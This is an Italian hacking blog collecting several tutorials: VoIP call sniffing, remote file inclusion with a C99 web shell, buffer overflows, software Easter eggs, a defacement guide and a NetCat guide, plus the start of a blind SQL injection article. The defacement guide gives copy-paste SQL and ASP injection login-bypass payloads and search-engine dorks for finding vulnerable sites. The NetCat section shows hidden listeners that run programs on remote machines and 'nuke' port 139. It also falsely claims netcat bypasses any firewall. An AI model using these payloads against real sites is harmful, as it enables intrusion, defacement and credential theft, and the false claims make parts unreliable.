DISCLAIMER!

Le informazioni (e i download, quindi tutti i file contenuti nel blog) da me divulgate sono da ritenersi a puro scopo informativo e di studio. Non mi assumo nessuna responsabilità riguardante l'uso improprio e/o illecito delle tecniche e dei programmi qui descritti e di tutti i danni a cose e persone e/o perdite di guadagni che ne possano derivare. Il blog non vuole istigare nessuno a delinquere o a commettere reati. Le tecniche qui descritte sono da utilizzare a proprio rischio e pericolo.

Traduci Il Blog In




Cerca in Xthreme Hacking!

Sniffare chiamate VOiP


Ormai è una consuetudine sfruttare le reti wireless per effettuare chiamate a costo zero tramite applicativi installati sugli Smartphone e Iphone e anche sui nostri pc.

Avete mai pensato che qualcuno possa sfruttare le vulnerabilità della rete per ascoltare la tua chiamata?

E’ stato da qualche giorno rilasciato un comunicato attraverso il quale viene spiegato come utilizzare un tool per sniffare e intercettare le chiamate effettuate tramite VOIP da una connessione wifi.

Se vuoi approfondire puoi leggere la pagina del progetto: UCSniff se invece vuoi effettuare il download del tool puoi visitare questa pagina.
Il software in questione è stato studiato per effettuare test di sicurezza su Voip e IP Video.
Gli sviluppatori del tool hanno dimostrato, durante la Conferenza Hacker Toorcon, come sia possibile, effettuando pochi click, intercettare e ascoltare una telefonata effettuata da due utenti che erano presenti in sala.
Devi sapere che i programmi che hai installato sul tuo Smartphone e Iphone difficilmente utilizzano una forma di crittografia dei dati trasmessi durante una sessione Voip, per questo motivo la tua chiamata non è sicura e chiunque, dotato di UCSniff potrebbe sniffare la tua telefonata e carpire informazioni riservate.
La tecnica utilizzata è quella del man-in-the-middle, attraverso la quale, tutto il traffico viene dirottato sul computer con installato il tool per lo sniffing, senza che gli utenti se ne accorgano.
Il software in questione è stato sviluppato per effettuare test di sicurezza sulla propria rete, ma tu sei sicuro che il tuo vicino non lo utilizzi mentre effettui una chiamata Voip?
Gli strumenti a disposizione per questo genere di test sono molti e come sempre, l’uso che se ne fa, dipende dalle intenzioni della persona.

RFI (Remote File Inclusion)


Un RFI (remote file inclusion) è una vulnerabilità che affligge i servizi web con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili

GET e POST del php. la vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata. Questo è un semplice esempio di un codice

vulnerabile:

CODICE
$var = $_GET['var'];
include ($var);
?>

con una conoscenza anche limitata del php è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'url)a piacere si puo vedere in azione il bug.
CODICE
http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it


in questo caso la variabile var assume il valore dell'url immessa e nella pagina sara inclusa la index di miositoincluso.it

COME FUNZIONA L'ATTACCO:

se c'è la possibilità di un inclusione arbitrale di codice php un Cracker puo incudere la shell C99. La C99 è una Shell scritta in PHP,

bisogna dapprima uploadare su un proprio sito web (ad esempio su altervista) una versione in php della shell e

hostare su un altro dominio web una versione in txt della shell.

Dopo di che scegliere il sito da colpire seguito dalla variabile buggata (in questo caso "var") e dall'indirizzo dove avete uplodato la vostra shell in txt.

ESEMPIO:
CODICE
http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/C99.txt


da notare che la pagina da includere non deve essere in php (perche se no viene incluso solo l'out-put generato della pagina e non il codice vero e proprio)

Ora, aggiornando la pagina (quella della shell in php), avremo i file che compongono il sito!

E' noto che la vulnerabilità è presente nei siti che hanno il plugin per WordPress My_eGallery precedenti alla versione 3.1.1 g, myflash fino alla

versione 1.00, wp-Table fino alla 1.43, wordTube fino alla 1.43.
----------------------------------------------------------------------------------------------------------------------------------------------------------------
COME DIFENDERSI:

In genere quando si deve includere una pagina esterna in una applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine,

e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della mia variabile GET, e a seconda del valore includere la pagina

desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.
CODICE
http://miosito.it/index.php?var=1


poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito esempio:
CODICE
$var = $_GET['var'];
if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
else die('hacking attemped');
?>

Buffer Overflow


Buffer Overflow

Overflow è una vulnerabilità di sicurezza che può affliggere un programma software. Consiste nel fatto che tale programma non controlla in anticipo la lunghezza dei dati in arrivo, ma si limita a scrivere il loro valore in un buffer di lunghezza prestabilita, confidando che l'utente (o il mittente) non immetta più dati di quanti esso ne possa contenere: questo può accadere se il programma è stato scritto usando funzioni di libreria di input/output che non fanno controlli sulle dimensioni dei dati trasferiti.

Quando quindi, per errore o per malizia, vengono inviati più dati della capienza del buffer destinato a contenerli, i dati extra vanno a sovrascrivere le variabili interne del programma, o il suo stesso stack; come conseguenza di ciò, a seconda di cosa è stato sovrascritto e con quali valori, il programma può dare risultati errati o imprevedibili, bloccarsi, o (se è un driver di sistema o lo stesso sistema operativo) bloccare il computer. Conoscendo molto bene il programma in questione, il sistema operativo e il tipo di computer su cui gira, si può precalcolare una serie di dati malevoli che inviata per provocare un buffer overflow consenta ad un malintenzionato di prendere il controllo del programma (e a volte, tramite questo, dell'intero computer).

Questo tipo di debolezza dei programmi è noto da molto tempo, ma solo di recente la sua conoscenza si è diffusa tanto da permettere anche a dei cracker dilettanti di sfruttarla per bloccare o prendere il controllo di altri computer collegati in rete. Non tutti i programmi sono vulnerabili a questo tipo di inconveniente: perché un dato programma sia a rischio è necessario:

1. che il programma preveda l'input di dati di lunghezza variabile e non nota a priori;
2. che li immagazzini entro buffer allocati nel suo spazio di memoria dati vicini ad altre strutture dati vitali per il programma stesso;
3. che il programmatore non abbia implementato alcun mezzo di controllo della correttezza dell'input in corso.

La prima condizione è facilmente verificabile, dalle specifiche del programma; le altre due invece sono interne ad esso e riguardano la sua completezza in senso teorico.

Easter Egg!


Ecco a voi un post abbastnza inutile, pero simpatico xD
Un elenco di tutti gli easter egg di alcuni siti, programmi ecc..

Un Easter egg (in italiano, letteralmente, uovo di pasqua) è un contenuto, di solito di natura faceta o bizzarra, e certamente innocuo, che i progettisti o gli sviluppatori di un prodotto, specialmente software, nascondono nel prodotto stesso (come un uovo di pasqua nascosto in giardino, secondo la tradizione anglosassone). Questo contenuto si classifica come Easter egg se è qualcosa di completamente estraneo alle normali funzioni del software in questione, e al tempo stesso non causa nessun particolare danno (quindi si escludono contenuti nascosti di natura ben diversa come virus, trojan, spyware e via dicendo). Un esempio celebre sono i frammenti di videogiochi attivabili con determinate pressioni di tasti in molte versioni di Microsoft excel o altri prodotti Office.

Easter egg firefox!
  1. Firefox dentro Firefox!
  2. Aprire Firefox e inserire come indirizzo chrome://browser/content/browser.xul
  3. Credits
  4. Inserire come indirizzo about:credits
  5. Il Libro di Mozilla
    Inserire come indirizzo about:mozilla
    Apparirà questo:

    E così alla fine la Bestia cadde e i miscredenti esultarono.
    Ma non tutto era perduto, giacché dalle ceneri sorse un mitico uccello.
    L’uccello guardò giù verso i blasfemi, e invocò il fuoco e il
    fulmine su di loro. Poiché la Bestia era risorta con rinnovata
    forza, e i seguaci di Mammona si fecero piccoli dall’orrore.
    dal Libro di Mozilla, 7:15
    La spiegazione è molto semplice: La Bestia è il vecchio browser Netscape, i miscredenti (chiamati poi blasfemi) sono i sostenitori di IE, il mitico uccello è ovviamente Firefox, Mammona è la Micro$oft. E’ quindi molto semplice ricostruire la storia
    Maggiori info: http://it.wikipedia.org/wiki/Il_Libro_di_Mozilla
  6. Il Lavello
    Funziona solo nelle versioni antecedenti alla 1.5
    Inserire come indirizzo about:kitchensink
    Per le altre versioni si puo trovare qui http://www.mozilla.org/docs/web-developer/samples/kitchensink.xmlN.B.: si puo aprire e chiudere il lavello! Davvero un genio chi l’ha programmato.
Easter egg Windows XP

Controlla Pinball
Questo egg è un pò sciocco XD. Basta aprire Pinball (Start-Programmi-Giochi-Pinball) e scrivere hidden test . Quando inizia la partita premete sulla pallina con il mouse ed ecco come per magia che si muove la pallina con il mouse. Se volete tanti punti, fate H
2° Egg
Vincere facilmente a Solitario
Aprite il solitario (Start-Programmi-Giochi-Solitario) e fate alt+shift+2 e vedrete uscire tante carte: Avete vinto! XD
3° Egg
Voci Strane
Aprite il programma Sintesi e Riconoscimento vocale (start-pannello di controllo-sintesi e riconoscimento vocale) e scrivete "Crotch" (senza ") e fate Anteprima della voce. Sentirete Crow's nest. Poi provate anche con Soy. Divertente? XD
4° Egg
Bug Blocco note
Aprite il blocco note (Start-Programmi-Accessori-Blocco Note) e scriveteci bush hid the facts . Salvate e riaprite. Vedrete dei quadratini
5° Egg
Tubi 3D Natalizi
Fate sul desktop tasto destro e poi proprietà. Poi fate Screen Saver e selezionate dal menù tendina Tubi 3D. Fate impostazioni e selezionate Usa Trama. Fate OK e fate prova. Belli i tubi :P


Easter egg facebook

Nel caso di Facebook basta andare sulla home page, cliccare in un punto qualunque della pagina, premere questi tasti sulla tastiera: Su, Su, Giù, Giù, Sinistra, Destra, Sinistra, Destra, B, A, Invio. Poi fare di nuovo click, in un punto a caso della pagina, col tasto sinistro o col destro, indifferentemente. Per qualche minuto appariranno lampi, flash e riflessi ogni volta che si sposta il mouse o si scrive qualcosa.

La sequenza scelta dai programmatori di Facebook corrisponde al Konami Code, già usato in diversi scerzetti del genere soprattutto sui videogames.

MD5 Cracker


Ecco un ottimo e alquanto utile sito per crackare l password cittate in MD5:

Guida al Deface


Allora, in questa guida metterò tutti i modi per defacciare i siti.
Andrò in ordine crescente di difficoltà. Bene! Partiamo dalla prima tecnica!

SOCIAL ENGINEERING
Allora qua sta tutto sulla vostra astuzia infatti il social non è altro che diventare parte dello staff del sito o forum. ESEMPIO:
Utente: Ciao, posso diventare dello staff?
Admin: Posta molto e vediamo.
Utente: OK
Admin: Bene sei dello staff!
Da li poi fate quello che vi pare.

SQL INJECTION
Questa tecnica sfrutta le apllicazione del web SQL. Quando avete trovato il sito, ovviamente deve essere vulnerabile nel login mettete:

CODICE
Username: ‘or’’=’
Password: ‘or’’=’

E dovrete essere dentro come admin.
Altro metodo nella stringa della ricerca mettete:
CODICE
p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

Ci compariranno le pwd degli admin in MD5. Poi decriptatele.

ASP INJECTION
Molto simile al SQL INFECTION. Una volta trovato il sito in .asp nel login mettiamo questo:
Utente senza registrazione
- UserName:’ ----------> apostrofo snz spazio…
- Password: ----------> nessuna password, lasciate vuoto…

Scoprire la password dell’amministratore
UserName: ' union select Password,1,1,1 from members where UserID = 'admin'-
Password: ----------> nessuna password…

Diventare automaticamente amministratori…
UserName: admin' -
Password ---------> nessuna pass

Diventare il primo utente nella lista degli utenti!!!
UserName: ' or 0=0 --sp_password
Password: --------> nessuna pass anche stavolta!

GUESTBOOK
Il GUESTBOOK permette di lasciare commenti da parte di un visitatore. Bene in un motore di ricerca scriviamo:

CODICE
inurl:”guestbook/admin/login.php

Una volta trovato il sito nel campo username mettiamo:
CODICE
'or 'jr7'='jr7' /*

Nel campo della pwd mettete a piacere.
Ora siamo padroni del forum/sito.

MKPortal + vBulletin 3.5.4
Su un motore di ricerca cercate

CODICE
Powered by mkportal vbulletin 3.5.4

Trovato il sito vulnerabile aggiungiamo all'URL
CODICE
ind=',userid='1

Dovrete essere padroni del sito.

JPORTAL
Su un motore di ricerca cercate:

CODICE
Powered by jportal

Verrano fuori un tot di pagine. Clicchiamo su un sito e dove c'è http://www.ecc... aggiungiamo:
CODICE
print.php?what=article&id=X AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1

Dov'è vedete la X mettete o 1 o 2. Se va bene ci saranno le pwd degli admin.

BRUTE FORCE
Scaricate un programma che abbia a che fare col brute force ovviamente ne trovate parecchi su google.it mettete il link del sito vittima e aspettate che il programma crakka la pwd. Funziona pochissime volte.

EXPLOIT
Se volete un exploit in pearl scaricate Active Pearl per tradurlo si trova benissimamente su google.it. Fatto scegliete un exploit e salvatelo in blocco note con quellochevuoi.pl Mettetelo in: C:\Perl\bin. Apriamo il prompt e portiamoci l'exploit comparirà come usarlo ecc...

Guida NetCat


Guida all'uso di NetCat

Procedure quasi-maliziose con netcat.
Ogni procedura puo' essere provata direttamente sul
proprio computer utilizzandolo contemporaneamente come
client e come server.
e' sufficiente aprire due form dos ed eseguire all'interno
le procedure relative.
L'ip a cui collegarsi in modalita' client ovviamente sara'

127.0.0.1 = (localhost)
Se durante l'esecuzione dei comandi il dial-up cerca di
stabilire una connessione : premere annulla nel form
relativo .. se ci si collega al nostro computer siamo
gia' collegati anche senza il dial no!? ;-)


lista delle opzioni di netcat utilizzate

( nc -h per avere l'help)

-d modo stealth, rende TSR e invisibile netcat
-e prog.exe esegue il programma prog.exe
-i secs delay, tempo di ritardo in secondi
-l modo 'in ascolto' esecuzione unica
-L modo 'in ascolto' esecuzione ciclica
-n dichiara che gli IP sono in formato numerico
-o file salva file relativo al traffico su una porta
-p port porta numero
-s addr indirizzo IP a cui collegarsi
-t emula i protocolli di scambio di TELNET
-u abilita il protocollo UPD
-v 'verbose' stampa a schermo tutto quello che fa'
-vv 'very verbose' come sopra ma piu' approfondito
-w secs timeout. Dopo si disabilita e/o esegue
-z modo zero-I/O. Usato nello scanning delle porte.


NETCAT NELLA PRATICA OPERATIVA


NETCAT FUNZIONANTE COME TSR


l'opzione -d (stealth) aggiunta come parametro permette il
funzionamento di netcat in modo invisibile (nessun form del
dos viene aperto)
Questo puo' essere usato sopratutto nella gestione di netcat
sul computer remoto per non dar la possibilita' di vedere
l'esecuzione dei comandi.
Questa opzione non funziona su tutte le macchine, dipende dalle
locazioni chiamate dalle word tsr init DS:WR, DS:ES che variano
a seconda delle versioni di w95 e NT.
Sulle macchine (poche) dove l'opzione crea errore per rendere stealth
netcat bisogna compilare un prog in c o in basic che trovi
l'handler del form dos aperto e lo sposti tramite la API
MoveWindow in una locazione del desktop non visibile.

es:

KEYLOG DEL CLIENT SUL COMPUTER SERVER

(utile per scrivere un file passo passo sul remoto)

SERVER
nc -d -l -p > c:\windows\sorpresa.txt

CLIENT
nc

scrivendo del testo e terminando la digitazione
con CTRL C sul server verra' scritto alla locazione
designata tutto cio' che e' stato digitato con
l'analoga formattazione.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SPEDIZIONE DI UN FILE AD UN COMPUTER REMOTO

COMPUTER CHE RICEVE

nc -l -p -v -t -w 3 > prova.txt

le opzioni -v -t non servono all'atto pratico
sono solo per fare le verifiche.
-L (elle maiuscola) al posto di -l se si vuole che
dopo la ricezione netcat si riesegua automaticamente
con le stesse opzioni. (Esecuzione ciclica)

COMPUTER CHE INVIA

nc < filedainviare.txt


^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
CHAT ANONIMA PERSONALE CON UN ALTRO UTENTE

si aprono due form DOS

PERSONA 1:
nc -l -p -v (ascolta e vede sulla porta 1)
nc (manda i caratteri sulla porta 2)

PERSONA 2:
nc -l -p -v (ascolata e vede sulla porta 2)
nc (manda i caratteri sulla porta 1)


^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ESECUZIONE DI UN PROGRAMMA SU UN COMPUTER REMOTO

COMPUTER REMOTO:
nc -l -p -e c:\dir1\dir2\..\formatta.bat

-L (elle maiuscola) al posto di -l se si vuole che
dopo la ricezione netcat si riesegua automaticamente
con le stesse opzioni. (Esecuzione ciclica)
(ovviamente il file formatta.bat va fatto e spedito
prima!)

ALTRO COMPUTER:

nc



1. OGNI PROCEDURA PUO' ESSERE ESEGUITA SU PROTOCOLLO UPD
AGGIUNGENDO -u alle opzioni

2. E' possibile (richiamo precedente) usare l'opzione stealth
per rendere invisibile l'attesa di chiamata da parte di netcat
sul computer remoto: le opzioni in questo caso cambiano in

COMPUTER REMOTO

nc -d -L -p -e c:\dir1\dir2\..\programma.exe


^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ESECUZIONE DI UNO SCRIPT SU TELNET

ES: SPEDIZIONE DI UNA MAIL SU SMTP

File posta.txt
inizio ---------------------------------------
MAIL FROM : Master
RCPT TO : qualcuno@qualcuno.qu
DATA
Ciao ciao.
ti mando questa mail tramite netcat!
.
fine ---------------------------------------

nc 25 < posta.txt

ES: SPEDIZIONE DI ARTICOLO SU ALT.HACKERS

File articolo.txt
inizio ----------------------------------------
group alt.hackers
listgroup alt.hackers
post
From: Master
Newsgroups: alt.hacker
Subject: Post con netcat
Approved: approvato!
X-Newsreader: NETCAT PROFESSIONAL ;-)

questo articolino viene spedito
tramite netcat.
.
fine ----------------------------------------

nc 119 < articolo.txt

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
VERIFICA DELLE INTROMISSIONI SU UNA PORTA
CON VISIONE DELL'IP DI COLLEGAMENTO E CARATTERI
RICEVUTI


ES: PING DA PARTE DI UTENTI BACKORIFICE!


nc -l -v -u -p 31337

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

CATALOGO DEGLI USER CHE PINGANO SULLA 31337 UPD



nc -l -v -u -p 31337 >> catalogo.txt

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

VERIFICA E SPEDIZIONE DI TESTO IN CASO DI PING (a altro)

nc -l -v -u -p 31337 > trovaip.cmd
nc -n -s -p 139 < nuke.txt

ci vuole un piccolo script in c per passare
l'IP dal file trovaip.cmd a
(usare per danneggiare il sistema caratteri
preceduti dal carattere ^ = CTRL ... ^Z=invio)

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

NETCAT >>> E' <<< UGUALE A TELNET

invece di TELENT indirizzo porta

basta dire NC indirizzo porta

con la differenza che mentre telnet usa esclusivamente il
protocollo TCP netcat spedisce e riceve anche su UPD settando
il parametro -u.


^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SUPERSNIFFER
-SALVA UN FILE CONTENENTE IL TRAFFICO ASCII PASSANTE PER UNA PORTA


es. collegandosi alla porta chat di uno che conversa in ICQ
si registra tutto quello che invia. ;-)

SUL PROPRIO COMPUTER

nc -l -p -o c:\dir\..\leggotutto.txt

poi per fare la prova ci si puo collegare su un altro
form dos con
nc 127.0.0.1
e provare a digitare qualcosa seguito da CTRL C per
leggere poi il traffico ASCI nel file leggotutto.txt
dovrebbe essere un qualcosa del tipo
file leggotutto.txt ---------------------------------
< 00000000 61 73 64 95 61 73 64 0a # asd.asd.
< 00000008 61 73 64 0a # asd.
< 0000000c 73 73 0a # ss.
< 0000000f 73 0a # s.
< 00000011 73 0a # s.
< 00000013 0a # .
< 00000014 73 0a # s.
< 00000016 73 64 61 61 73 64 0a # sdaasd.
fine -----------------------------------------------

SUL COMPUTER REMOTO


nc -l -p -s -o c:\dir\..\leggo.txt

oppure se si conosce l'ip in forma numerica

nc -l -p -n -s -o c:\dir\..\leggo.txt

si legge il traffico ascii sulla porta del computer
remoto e ovviamente viene registrato il tutto sul proprio
computer nel file leggo.txt

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SNIFFER - SCANNER

TROVARE UNA PORTA APERTA SUL COMPUTER REMOTO


nc - -v

es: nc 123.456.789.012 1000-2000 -v

[ con porta1-porta2 si dichiara un
range di porte da scannerare ]

nc va alla ricerca di una porta rispondente dalla 1000
alla 2000 sul computer remoto. E' MOLTO LENTO!!!
per abbreviare i tempi a scapito della precisone
si puo' usare l'opzione -z

nc 123.456.789.012 1000-2000 -v -z

per fare la prova si apre in un form dos nc con le seguenti opzioni

nc -l -v -p 1234 ( apre la porta 1234 e si mette in ascolto)

in un altro form dos si esegue

nc 127.0.0.1 1230-1240

dopo un po' nc stampera' le informazioni trovate relativamente
alla porta aperta.

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

PRIORITA' (questo c'e' anche sulla guida!)

Netcat si assegna di default una priorita' di connessione di livello
admin superuser percui l'esecuzione dei comandi e delle varie opzioni
viene eseguita al di sopra di ogni altro protocollo.


es: eseguendo un comando parallelamente ad una sessione netbios o
anche sotto firewall si oltrepassa la priorita' di queti ultimi
permettendo l'aggiramento di ogni tipo di protezione.

es. netbios

nc -v -l -p 139 -n -s > leggo.txt
legge i dati sulla porta 139 di un macchina in remoto
collegandosi all'IP sorgente.
Se il remoto effettua delle transazioni su quest'ultima
netcat mette il netbios in attesa e finisce prima il proprio
lavoro (spesso macchine NT vanno in crash.)

.. si potra' anche inviare sulla 139 dei dati? mah! ;-)))

es. firewall

di solito i firewall permettono la lettura sulle porte
53 e/o 59 e/o 20 .. questo almeno per l'invio dei dati
relativi alle dichiarazioni di 'avvertimento'.. questo basta!

sulla macchina sotto firewall volendo ad esempio far partire
il programma crash.exe in diverse riprese si installa
netcat nel seguente modo:

nc -d -L -p -e c:\dir\..\crash.exe

sulla propria invece

nc -v -p

(-v e' giusto per vedere che cosa dice!)

Blind SQL Injection


Blind SQL Injection

Negli ultimi anni, gli attacchi SQL injection sono in aumento. L'aumento del numero di applicazioni basate su database, insieme a varie pubblicazioni che spiegano il problema e come può essere sfruttato (sia in formato elettronico che stampati), hanno portato a molti attacchi e di conseguenza gli abusi di questo tipo di attacco.

Con l' aumento di questo tipo di attacco, sono stati fatti anche molti tentativi per trovare delle soluzioni al problema. La soluzione è, e sarà sempre quella di costruire programmi in modo più sicuro. Molti documenti sono stati pubblicati in materia di garantire allo sviluppo sicuro di applicazioni Web con l' utilizzo di un database, ma non molto è cambiato. Gli sviluppatori Web, ancora non sono consapevoli della sicurezza, ed i problemi continuano ad apparire.

Di conseguenza, gli esperti di sicurezza informatica per continuare a cercare altre misure che possono essere adottate nei confronti di questo problema. Sfortunatamente, la soluzione a questo problema prese forma nel cancellare i messaggi di errore SLQ. Poichè la maggiore parte di documenti che descrivono SQL Injection contano su raggruppare informazioni attraverso i messaggi di errore (perchè alcuni affermano che specifici compiti non possono essere completati senza messaggi di errori particolari), esperti di sicurezza hanno messo appunto che l' SQL Injection non può essere sfruttata senza dettagliati messaggi di errore (o il codice stesso).

Tutta via, nascondere i messaggi di errore e solo un' altra della realizzazzione della "Sicurezza Oscura", approccio che è stato ripetuttamente dimostrato nella storia come un cattivo modo di affrontare.

Lo scopo di questo documento è di dimostrare l' errore di chi la pensa cosi, e di presentare semplici tecniche utilizzate dagli attaccanti quando i messaggi di errore non sono presenti. Queste tecniche sono anche chiamate "Blind SQL Injection". Il nome porta a pensare, ottenere una SQL Injection anche quando non ci sono messaggi di errore. Essa riflette anche l' abilità che una persona possiede, che l' SQL Injection diventa cosi semplice che può essere fatta anche ad occhi chiusi.

Per capire come si realizza ciò, prima mostriamo come l' SQL Injection può essere facilmente individuata, sulla minima reazione del server. Poi andiamo oltre i modi ad arte per creare una sintassi di richiesta valida, che puo essere sostituita in seguito con un altra valida richiesta SQL. Infine dobbiamo discutere come    UNION SELECT (spesso considerato l' elemento fondamentale di attacchi SQL Injection), può essere sfruttato senza determinati messaggi di errore. Essere bendati, la tecnica contenuta in questo documento da per scontato che abbiamo zero conoscenza dell' applicazione, il tipo di database, la struttura delle tabelle ecc, e che devono essere individuate in tutto il processo di iniezione.

Da questo, noi speriamo di chiarire al meglio quelle vulnerabilità di livello applicativo devono essere manipolati da livello applicativo, e soluzioni basandosi su messaggi di errore da SQL Injection è totalmente inutile.

Due note importanti: In primo luogo questo documento non vuole essere una guida ne un tutorial di SQL. Questo documento non scende nei dettagli di specifici attacchi SQL Injection e di sfruttamento, e si presuppone che il lettore abbia comprensione di base di che cosa sono gli attacchi SQL Injection, ma vuole spiegare come questi posso essere pericolosi anche se non vengono visulizzati messaggi di errore. La seconda nota riguarda tutti gli esempi forniti in questo documento. Anche se gli esempi si basano su MS SQL Server e Oracle, le stesse tecniche possono essere applicate ad altra database.

Identificare le Infezioni

Per effettuare un SQL Injection il primo passo da eseguire è quello di identificarla. Per fare questo l' attaccante deve prima stabilire una sorta di indicazioni per quanto riguarda gli errori del sistema. Anche se i messaggi di errore non vengono mostrati, l' applicazione deve avere la capacità di separare il bene (le richieste valide) dal male (richieste non valide), e l' attaccante facilmente impara a identificare queste indicazioni, individuando gli errori, e individuare se sono di tipo SQL o no.

Riconoscimento degli Errori

Come prima cosa, dobbiamo capire i tipi di erroi che un utente malintenzionato può affrontare. Un applicazione web, può generare due diversi tipi di errori. Il primo tipo è quello generato dal server web, con il risultato di un eccezione nel codice. Se intatta, un eccezione fin troppo familiare "500 Internal Server Error". Di norma, un iniezione di cattiva sintassi SQL (le doppie virgolette, per esempio) dovrebbe causare questo tipo di errore, anche se altri tipi di sintassi possono portare ad una tale eccezione. Un semplice processo di soppressione di errore, sostituirà i testi predefiniti di questo errore con una pagina HTML fatta su misura, ma comunque osservando la risposta si capirà che è un errore sempre causato dal server. In alcuni casi, se si vuole assumere ancora più impegno per nascondere gli errori è per esempio, realizzare un reindirizzamento alla pagina principale o un messaggio di errore generico che non fornisce alcuna informazione.

Il secondo tipo di errore è generato dalla applicazione web, e solitamente indica più la programmazione. L'applicazione prevede determinati casi non validi e può generare loro un errore su misura specifico. Anche se questi tipi di errori dovrebbero venire normalmente come componente di una risposta valida (200 OK) loro possono essere anche sostituiti, con reindirizzamento, o altri mezzi per occultarli, è molto simile al "Internal Server Error".

Un semplice esempio per distinguere i due errori: Prendiamo due eCommerce applicazione, di nome A e B. Entrambe le applicazione usano una pagina chiamata "proddetails.asp.". Questa pagina si aspetta di ricevere un paramentro chiamato ProdID. Prende il ProID ricevuto, e recupera i dettagli del prodotto dal database, poi esegue alcune manipolazioni sul record restituito. Entrambe le applicazioni denominano "proddetails.asp" con un link, quindi ProdID dovrebbe sempre essere valido.
L' applicazione A è soddisfatta e di conseguenza non fa nessun controllo. Quanto un attacker interferisce con ProID, inserendo un id che non esiste nella tabella, verrà restituito un record vuoto. Molto probabilmente, poichè non si aspetta un record vouto, verrà restituito un messaggio di errore, generando: "500: Internal Server Error". L' applicazione B tuttavia verifica che il formato del recordset sia più grande di 0, prima di qualsiasi manipolazione di esso. Se non succede questo appare un messaggio di errore affermando "Nessun prodotto", o, se il programmatore vuole nascondere l' errore, l' utente verrà reindirizzato indietro con la lista dei prodotti.

Un utente malintenzionato che tenta di compiere un attacco Blind SQL Injection perciò, per prima genera delle richieste nulle, ed impara come l' applicazione gestisce gli errori, e che cosa ci si può aspettare quando un errore SQL si verifica.

Localizzare gli errori
Con la conoscenza dell' applicazione a memoria, ora l' attaccante può procedere con la seconda parte dell' attacco, individuando gli errori che sono risultati dagli input maneggiati. Per questo, le tecniche normali applicate, per sperimentare un attacco SQL Injection, sono come ad esempio l' aggiunta di parole chiabi SQL (OR, AND, ecc), oppure i META caratteri (ad esempio ; o '). Ogni parametro è esaminato individualmente, e la risposta è esaminata in modo approfondito per determinare se si è verificato un errore o meno. Utilizzando un proxy di intercettazione, o qualsiasi altro strumento, è facile individuare altri errori apperentemente nascosti. Ogni parametro che restituisce un messaggio di errore è sospetto, in quanto potrebbero essere vulnerabili a SQL Injection.

Come sempre, tutti i parametri sono esaminati individualmente, con il risultato della richiesta che sia valida. Ciò è estremamante importante in questo caso, come questo processo deve neutralizzare ogni possibile causa di errore, tranne l'iniezione in se. Il risultato di questo processo è di solito un lungo elenco di paramentri sospetti. Alcuni di questi paramentri possono essere vulnerabili a SQL Injection e possono essere sfruttati. Gli altri errori estranei a SQL possno essere eliminati. Il prossimo passo dell' attaccante è quello di individuare gli errori SQL nel disordine, che sono quelli effettivamente vulnerabili a SQL.

Identificare i parametri vulnerabili a SQL Injection

Per capire meglio come questi sono fatti, bisogna conoscere i tipo di base di dati in SQL. SQL normalmente ne fa uso di tre tipi principali: Numero, Data o Stringa. Ogni tipo ha diverse varianti, ma questi sono irrilevanti per il processo di iniezione. Ogni paramentro trasferito dalla applicazione web per la query SQL e considerato come uno di questi tipi, e di solito è molto semplice per determinare il tipo ("abc" è ovviamente una stringa, mentre 4 è in grado di essere sia un numero che una stringa).

Nel linguaggio SQL, i paramentri numerici vengono passato al server così come sono, mentre le stringhe o date sono passati racchiusi tra le virgolette. Per esempio:

Codice:

   SELECT * FROM Products WHERE ProdID = 4

vs.

   SELECT * FROM Products WHERE ProdName = 'Book'

Il server SQL, tuttavia, non si cura di quale tipo di espressione riceve, finche è di un tipo relativo. Questo comportamento da l' attaccante il miglior modo di identificare se un errore è davvero uno di SQL, o estranei. Usando i valori numerici, il modo più semplice per gestire questo è utilizzando operazioni aritmetiche di base. Per esempio, diamo un' occhiata alla seguente richiesta:

Codice:

   /myecommercesite/proddetails.asp?ProdID=4

Questo test è molto semplice. viene fatto un tentativo iniettando 4 come paramentro. L' altro è fatto usando 3 +1 come parametro. Passando ad una richiesta di tipo SQL questi parametri il risultato delle due prove, saranno le seguenti query:

Codice:

   (1) SELECT * FROM Products WHERE ProdID = 4'
   (2) SELECT * FROM Products WHERE ProdID = 3 + 1

